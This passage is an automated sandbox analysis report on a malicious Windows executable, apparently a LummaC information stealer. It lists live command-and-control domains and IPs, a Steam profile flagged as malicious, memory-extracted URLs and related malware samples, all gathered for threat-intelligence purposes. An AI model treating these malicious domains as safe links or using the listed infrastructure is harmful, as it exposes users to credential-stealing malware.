https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fragnantbui.shop	188.114.96.3	true	true	unknown
performenj.shop	172.67.189.2	true	true	unknown
gutterydhowi.shop	104.21.4.136	true	true	unknown
steamcommunity.com	104.102.49.254	true	false	unknown
offensivedzvju.shop	188.114.96.3	true	true	unknown
stogeneratmns.shop	188.114.96.3	true	true	unknown
reinforcenh.shop	172.67.208.139	true	true	unknown
drawzhotdog.shop	172.67.162.108	true	true	unknown
ghostreedmnu.shop	188.114.97.3	true	true	unknown
vozmeatillu.shop	188.114.96.3	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
lootebarrkeyn.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://drawzhotdog.shop/api	true	Avira URL Cloud: malware	unknown
lootebarrkeyn.shop	true	Avira URL Cloud: malware	unknown
https://gutterydhowi.shop/api	true	Avira URL Cloud: malware	unknown
stogeneratmns.shop	true	Avira URL Cloud: malware	unknown
reinforcenh.shop	true	Avira URL Cloud: malware	unknown
https://reinforcenh.shop/api	true	Avira URL Cloud: malware	unknown
ghostreedmnu.shop	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
https://vozmeatillu.shop/api	true	Avira URL Cloud: malware	unknown
https://stogeneratmns.shop/api	true	Avira URL Cloud: malware	unknown
https://ghostreedmnu.shop/api	true	Avira URL Cloud: malware	unknown
fragnantbui.shop	true	Avira URL Cloud: malware	unknown
gutterydhowi.shop	true	Avira URL Cloud: malware	unknown
https://offensivedzvju.shop/api	true	Avira URL Cloud: malware	unknown
https://fragnantbui.shop/api	true	Avira URL Cloud: malware	unknown
offensivedzvju.shop	true	Avira URL Cloud: malware	unknown
drawzhotdog.shop	true	Avira URL Cloud: malware	unknown
https://performenj.shop/api	true	Avira URL Cloud: malware	unknown
vozmeatillu.shop	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTS	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=gC	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=B0lGn8MokmdT&l=e	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240183729.0000000003278000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240183729.0000000003278000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://offensivedzvju.shop/	RegAsm.exe, 00000003.00000002.2239609640.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://performenj.shop/6&	RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://vozmeatillu.shop/	RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://stogeneratmns.shop/&-7	RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/N	RegAsm.exe, 00000003.00000002.2239609640.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.c	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	RegAsm.exe, 00000003.00000002.2240183729.0000000003278000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reinforcenh.shop/d&	RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://offensivedzvju.shop/W	RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e199731	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/legal/	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240183729.0000000003278000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drawzhotdog.shop/	RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ghostreedmnu.shop/	RegAsm.exe, 00000003.00000002.2239609640.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://performenj.shop/pi	RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://performenj.shop/	RegAsm.exe, 00000003.00000002.2239685477.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://gutterydhowi.shop/apiO	RegAsm.exe, 00000003.00000002.2239685477.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240183729.0000000003278000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamaoE	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=PzKBszTg	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://performenj.shop/apit	RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://stogeneratmns.shop/apiJ	RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/account/cookiepreferences/	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240183729.0000000003278000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/	RegAsm.exe, 00000003.00000002.2239609640.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2239685477.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	RegAsm.exe, 00000003.00000002.2240168674.0000000003270000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/badges	RegAsm.exe, 00000003.00000002.2239924746.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.4.136	gutterydhowi.shop	United States	13335	CLOUDFLARENETUS	true
172.67.189.2	performenj.shop	United States	13335	CLOUDFLARENETUS	true
188.114.97.3	ghostreedmnu.shop	European Union	13335	CLOUDFLARENETUS	true
172.67.162.108	drawzhotdog.shop	United States	13335	CLOUDFLARENETUS	true
188.114.96.3	fragnantbui.shop	European Union	13335	CLOUDFLARENETUS	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
172.67.208.139	reinforcenh.shop	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519286
Start date and time:	2024-09-26 09:57:44 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3ZD5tEC5DH.exe renamed because original name is a hash value
Original Sample Name:	149131a90f99225e6c7e28a06164dd9a.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@4/2@11/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 13 Number of non-executed functions: 84
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ocsp.edge.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, wu.azureedge.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 3ZD5tEC5DH.exe

Simulations

Behavior and APIs

Time	Type	Description
03:58:35	API Interceptor	4x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.4.136	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
172.67.189.2	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	Suselx1.exe	Get hash	malicious	LummaC	Browse
	gkqg90.ps1	Get hash	malicious	LummaC	Browse
	Res.ps1	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
188.114.97.3	HpCQgSai4e.exe	Get hash	malicious	FormBook	Browse	www.zhxgtlw.top/bopi/?XtEdZRAP=tIrAt1o0vWdNGbj/SzADcCGpASEIYc8Vm+jYIgWXaQC1p/Id9tI9XA8Ni4J3RpZHG8N5&8p=DXgPYZ
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Ky4pZ0WB/download
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	www.1win-moldovia.fun/1g7m/
	http://www.tiktok758.com/	Get hash	malicious	Unknown	Browse	www.tiktok758.com/img/logo.4c830710.svg
	TRmSF36qQG.exe	Get hash	malicious	FormBook	Browse	www.zhxgtlw.top/bopi/?0T5=UL08qvZHLtV&EnAHS=tIrAt1o0vWdNGbj/SzADcCGpASEIYc8Vm+jYIgWXaQC1p/Id9tI9XA8Ni4JOdI1EXss+
	PO5118000306 pdf.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/2wnz/
	(PO403810)_VOLEX_doc.exe	Get hash	malicious	Lokibot	Browse	dddotx.shop/Mine/PWS/fre.php
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/DiF66Hbf/download
	http://easyantrim.pages.dev/id.html	Get hash	malicious	HTMLPhisher	Browse	easyantrim.pages.dev/id.html
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/13rSMZZi/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gutterydhowi.shop	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	ACeTKO93e9.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
steamcommunity.com	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Z09QznvZSr.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	HHXyi02DYl.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	HHXyi02DYl.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	SecuriteInfo.com.Win64.Malware-gen.15701.20735.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, MicroClip	Browse	104.102.49.254
	SecuriteInfo.com.Win64.Evo-gen.13360.8133.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
performenj.shop	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse	172.67.189.2
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.51.224
	HHXyi02DYl.exe	Get hash	malicious	LummaC	Browse	104.21.51.224
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	104.21.51.224
	HHXyi02DYl.exe	Get hash	malicious	Unknown	Browse	104.21.51.224
	SecuriteInfo.com.Win64.Malware-gen.15701.20735.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, MicroClip	Browse	104.21.51.224
	SecuriteInfo.com.Win64.Evo-gen.13360.8133.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.51.224
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.189.2
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.189.2
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.189.2
fragnantbui.shop	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	ACeTKO93e9.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	HpCQgSai4e.exe	Get hash	malicious	FormBook	Browse	104.21.17.90
	gvyO903Xmm.exe	Get hash	malicious	FormBook	Browse	104.21.70.136
	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse	104.21.58.182
	iq2HxA0SLw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.37.97
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RFQ -PO.20571-0001-QBMS-PRQ-0200140.js	Get hash	malicious	AgentTesla, RedLine	Browse	104.26.13.205
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	450230549.exe	Get hash	malicious	AgentTesla	Browse	162.159.134.233
	64.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
CLOUDFLARENETUS	HpCQgSai4e.exe	Get hash	malicious	FormBook	Browse	104.21.17.90
	gvyO903Xmm.exe	Get hash	malicious	FormBook	Browse	104.21.70.136
	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse	104.21.58.182
	iq2HxA0SLw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.37.97
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RFQ -PO.20571-0001-QBMS-PRQ-0200140.js	Get hash	malicious	AgentTesla, RedLine	Browse	104.26.13.205
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	450230549.exe	Get hash	malicious	AgentTesla	Browse	162.159.134.233
	64.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
CLOUDFLARENETUS	HpCQgSai4e.exe	Get hash	malicious	FormBook	Browse	104.21.17.90
	gvyO903Xmm.exe	Get hash	malicious	FormBook	Browse	104.21.70.136
	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse	104.21.58.182
	iq2HxA0SLw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.37.97
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RFQ -PO.20571-0001-QBMS-PRQ-0200140.js	Get hash	malicious	AgentTesla, RedLine	Browse	104.26.13.205
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	450230549.exe	Get hash	malicious	AgentTesla	Browse	162.159.134.233
	64.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
CLOUDFLARENETUS	HpCQgSai4e.exe	Get hash	malicious	FormBook	Browse	104.21.17.90
	gvyO903Xmm.exe	Get hash	malicious	FormBook	Browse	104.21.70.136
	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse	104.21.58.182
	iq2HxA0SLw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.37.97
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RFQ -PO.20571-0001-QBMS-PRQ-0200140.js	Get hash	malicious	AgentTesla, RedLine	Browse	104.26.13.205
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	450230549.exe	Get hash	malicious	AgentTesla	Browse	162.159.134.233
	64.exe	Get hash	malicious	Unknown	Browse	162.159.61.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	a7HdB2dU5P.exe	Get hash	malicious	LummaC	Browse	104.21.4.136 172.67.189.2 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 172.67.208.139
	iq2HxA0SLw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.4.136 172.67.189.2 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 172.67.208.139
	https://tiktoksc.tv/wap	Get hash	malicious	Unknown	Browse	104.21.4.136 172.67.189.2 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 172.67.208.139
	https://xtrafree.x10.mx/	Get hash	malicious	Unknown	Browse	104.21.4.136 172.67.189.2 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 172.67.208.139
	PersonalizedOffer.exe	Get hash	malicious	UltraVNC	Browse	104.21.4.136 172.67.189.2 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 172.67.208.139
	PersonalizedOffer.exe	Get hash	malicious	UltraVNC	Browse	104.21.4.136 172.67.189.2 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 172.67.208.139
	file.exe	Get hash	malicious	LummaC	Browse	104.21.4.136 172.67.189.2 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 172.67.208.139
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.4.136 172.67.189.2 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 172.67.208.139
